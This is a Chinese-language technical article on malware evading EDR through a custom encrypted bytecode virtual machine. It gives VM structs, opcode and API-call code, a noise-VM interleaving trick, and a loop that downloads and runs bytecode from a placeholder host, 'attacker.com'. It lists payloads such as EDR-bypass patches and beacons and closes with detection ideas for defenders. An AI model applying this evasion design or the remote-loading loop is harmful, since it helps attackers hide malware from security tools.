恶意软件通过虚拟化技术逃避EDR检测的深入解析

1. 背景与挑战

在现代终端检测与响应(EDR)时代，传统的恶意软件执行方式已不再有效。防御技术的演进迫使攻击者采用更高级的逃避技术：

• 传统检测方式：基于签名的静态检测、行为启发式分析
• 现代EDR能力：内存扫描、API调用监控、进程行为分析
• 攻击者困境：如何在资源限制(CPU、内存、带宽)和避免误报的约束下绕过检测

2. 历史演进：从打包到虚拟化

2.1 打包器(Packers)技术

• 基本原理：加密/压缩原始代码并添加解包存根(stub)
• 演进过程：
  • 早期：简单打包，静态签名可检测
  • 中期：多态引擎，每次生成不同的解包代码
  • 局限：解密后的原始代码仍会被内存扫描捕获

2.2 变形引擎(Metamorphic Engines)

• 每次感染时完全重写病毒代码
• 挑战：现代软件复杂性高，跨平台兼容性差

2.3 虚拟化保护

• 优势：隐藏真实指令，抵抗静态和动态分析
• 代表工具：VMProtect等
• 局限：需要源代码标记，保护特定功能而非整体

3. 自定义虚拟化层设计

3.1 核心需求

1. 顺序执行字节码指令
2. 指令在执行前后保持加密
3. 支持基本x86-64指令集
4. 提供系统API接口
5. 位置无关代码(PIC)支持
6. 无需源代码或调试符号

3.2 虚拟机架构设计

指令格式

struct Instruction {
    uint8_t opcode;             // 1字节操作码
    uint8_t lparam_type : 4;    // 左操作数类型(4位)
    uint8_t rparam_type : 4;    // 右操作数类型(4位)
    Operand lparam;             // 左操作数(8字节)
    Operand rparam;             // 右操作数(8字节)
}; // 总计18字节

操作数类型

union Operand {
    ImmediateOperand imm;  // 立即数
    MemoryOperand    mem;  // 内存引用
    RegisterOperand  reg;  // 寄存器
}; // 8字节

虚拟机上下文

struct Context {
    uint32_t     ip;          // 指令指针
    uint8_t      flags;       // CPU标志
    Register     registers[17]; // 通用寄存器(rax...r15+gs)
    Instruction* instructions; // 字节码缓冲区指针
    uint8_t      stack[STACK_SIZE]; // 虚拟机堆栈
};

3.3 指令执行流程

1. 根据ip获取当前指令
2. 解密指令
3. 根据opcode执行对应操作
4. 加密指令
5. 更新ip(除非是跳转指令)

示例操作码实现(位测试BT):

void opcode_bt(Context* vm) {
    Instruction* i = get_current_instruction(vm);
    Value dst = fetch_value(vm, i->lparam_type, i->lparam);
    Value src = fetch_value(vm, i->rparam_type, i->rparam);
    size_t size = get_operand_size(i->lparam_type, i->lparam);
    
    switch (size) {
    case 8:  vm->flags.cf = (dst.u8 & (1 << src.u8)) != 0; break;
    case 16: vm->flags.cf = (dst.u16 & (1 << src.u16)) != 0; break;
    case 32: vm->flags.cf = (dst.u32 & (1 << src.u32)) != 0; break;
    case 64: vm->flags.cf = (dst.u64 & (1ull << src.u64)) != 0; break;
    }
}

4. 字节码生成与转译

4.1 从源码到字节码的流程

1. 编译C/C++源码为PE/ELF二进制
2. 使用反汇编器(如iced-x86)解析机器码
3. 转换为自定义字节码格式
4. 加密字节码指令

4.2 关键限制

• 必须生成位置无关代码(PIC)
• 禁止使用：
  • 静态/全局变量
  • 字符串常量
  • 静态库依赖

5. 系统集成技术

5.1 本地API调用支持

• 调用约定：遵循x64 __stdcall
• 参数传递：
  • 前4个参数: rcx, rdx, r8, r9
  • 其余参数: 栈传递
• 实现机制：

  template <typename Ret, typename ... Args>
  struct apicall<Ret(Args...)> {
    static decltype(auto) call(const void* target, Args ... args) {
      constexpr size_t nargs = sizeof...(Args);
      using f = Ret(__stdcall*)(size_t, Args...);
      return ((f)target)(nargs, args...);
    }
  };
  

5.2 回调函数支持

• 识别：通过LEA指令和特殊标记(0xDEADBEEF)
• 执行：剥离标记后跳转到目标地址

5.3 参数传递机制

struct Argument {
    size_t size;        // 参数总大小
    Type   type;        // 参数类型(Boolean/Integer/String/Data)
    size_t tag;         // 参数标识
    uint8_t key[KEY_SIZE]; // 加密密钥
    uint8_t payload[0]; // 实际数据
};

// API函数示例
bool has_argument(Arguments* args, size_t tag);
Argument* get_argument_by_tag(Arguments* args, size_t tag);
void decrypt_argument(Argument* arg);

6. 高级逃避技术

6.1 多虚拟机执行

• 目的：干扰行为分析，混淆真实意图
• 实现：

  // 初始化恶意和干扰虚拟机
  vmcall<vminit>::call(malicious_vm, malicious_code, nullptr);
  vmcall<vminit>::call(noise_vm, noise_code, nullptr);
  
  // 交替执行
  while (true) {
      vmcall<vmexec>::call(malicious_vm, NUM_CYCLES);
      vmcall<vmexec>::call(noise_vm, NUM_CYCLES);
  }
  

• 效果：混合良性和恶意事件，破坏检测模式

6.2 运行时字节码加载

while (true) {
    void* bytecode = http_get("https://attacker.com/bytecode");
    if (bytecode) {
        vmcall<vminit>::call(vm, bytecode, nullptr);
        vmcall<vmexec>::call(vm, RUN_UNTIL_END);
    }
    free(bytecode);
    sleep(10'000);
}

7. 保护强化：多态引擎

7.1 变异技术

1. 指令替换：语义等效指令替换(mov eax,0 → xor eax,eax)
2. 基本块重排序：改变代码块顺序
3. 基本块插入：通过跳转添加新块
4. NOP插入：改变代码布局

7.2 限制

• 不支持间接控制流(间接调用/跳转)
• 多次迭代会导致代码膨胀

8. 实际应用案例

已实现的有效载荷类型：

• 持久化模块
• 横向移动工具
• Shellcode执行器
• AV/EDR绕过补丁
• HTTP/DNS信标
• AD信息收集工具

9. 防御建议

针对此类技术的检测思路：

1. 异常指令模式检测：识别非标准指令序列
2. 虚拟机特征分析：检测虚拟机特有的内存/CPU模式
3. 行为时序分析：识别交替执行模式
4. 熵值监控：检测加密/压缩代码的异常熵值
5. 多维度关联：结合静态、动态和行为特征

10. 未来发展方向

• 更复杂的虚拟化架构：嵌套虚拟化、多架构支持
• 动态代码生成：JIT编译增强灵活性
• 硬件特性利用：Intel PT/AMD APU等特性
• 对抗机器学习检测：生成对抗样本

此技术代表了当前恶意软件逃避EDR检测的前沿方法，通过结合虚拟化、多态和混淆技术，有效对抗现代安全产品的多层防御机制。防御方需要从多个维度构建检测能力，才能有效应对这类高级威胁。